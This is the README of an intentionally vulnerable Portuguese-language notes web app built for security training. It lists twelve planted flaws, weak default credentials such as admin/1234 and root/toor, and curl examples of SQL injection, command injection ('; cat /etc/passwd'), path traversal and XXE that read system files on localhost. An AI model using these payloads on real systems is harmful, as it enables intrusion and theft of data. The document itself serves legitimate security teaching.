vulnnotes

🔓 VulnNotes - SaaS Propositalmente Vulnerável

Um sistema de notas desenvolvido para fins educacionais e testes de segurança. Este projeto contém múltiplas vulnerabilidades intencionais para demonstrar falhas de segurança comuns em aplicações web.

⚠️ ATENÇÃO: NÃO USE EM PRODUÇÃO! ⚠️

🎯 Vulnerabilidades Implementadas

1. SQL Injection

2. Cross-Site Scripting (XSS)

3. Path Traversal

4. Command Injection

5. Local File Inclusion (LFI)

6. Information Disclosure

7. XML External Entity (XXE)

&xxe;

### 8. Insecure Direct Object Reference (IDOR)
- **Endpoint**: `GET /notes?user=`
- **Descrição**: Acesso a dados de outros usuários
- **Teste**: Mude o parâmetro `user` para ver notas de outros usuários

### 9. Weak Authentication
- **Múltiplos usuários**: Senhas fracas e previsíveis
- **Credenciais**: admin/1234, guest/guest, test/(vazia), root/toor

### 10. Mass Assignment
- **Endpoint**: `POST /user/update`
- **Descrição**: Atualização de campos não intencionais
- **Teste**: 
```json
{
  "id": 1,
  "username": "hacker",
  "password": "newpass",
  "role": "admin"
}

11. Insecure Session Management

12. Unrestricted File Upload

🚀 Como Usar

  1. Instale as dependências:
    npm install
    
  2. Execute o servidor:
    node server.js
    
  3. Acesse: http://localhost:3000

📋 Credenciais de Teste

Usuário Senha Descrição
admin 1234 Administrador
guest guest Usuário guest
test (vazia) Usuário sem senha
root toor Usuário root

🛠️ Ferramentas Recomendadas para Teste

🔍 Exemplos de Exploração

SQL Injection no Login

curl -X POST http://localhost:3000/login \
  -d "username=admin' OR '1'='1-- -&password=any"

Command Injection

curl -X POST http://localhost:3000/ping \
  -d "host=127.0.0.1; cat /etc/passwd"

Path Traversal

curl "http://localhost:3000/file?path=../../../etc/passwd"

XXE Attack

curl -X POST http://localhost:3000/import \
  -d 'xml=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>'

📚 Referências Educacionais

⚖️ Uso Responsável

Este projeto é destinado exclusivamente para:

NÃO use este código em produção ou contra sistemas sem autorização explícita.

🤝 Contribuições

Contribuições são bem-vindas! Se você encontrar uma vulnerabilidade interessante que pode ser adicionada para fins educacionais, abra uma issue ou pull request.

📄 Licença

ISC - Este projeto é fornecido “como está” para fins educacionais.


Desenvolvido para fins educacionais em segurança cibernética 🛡️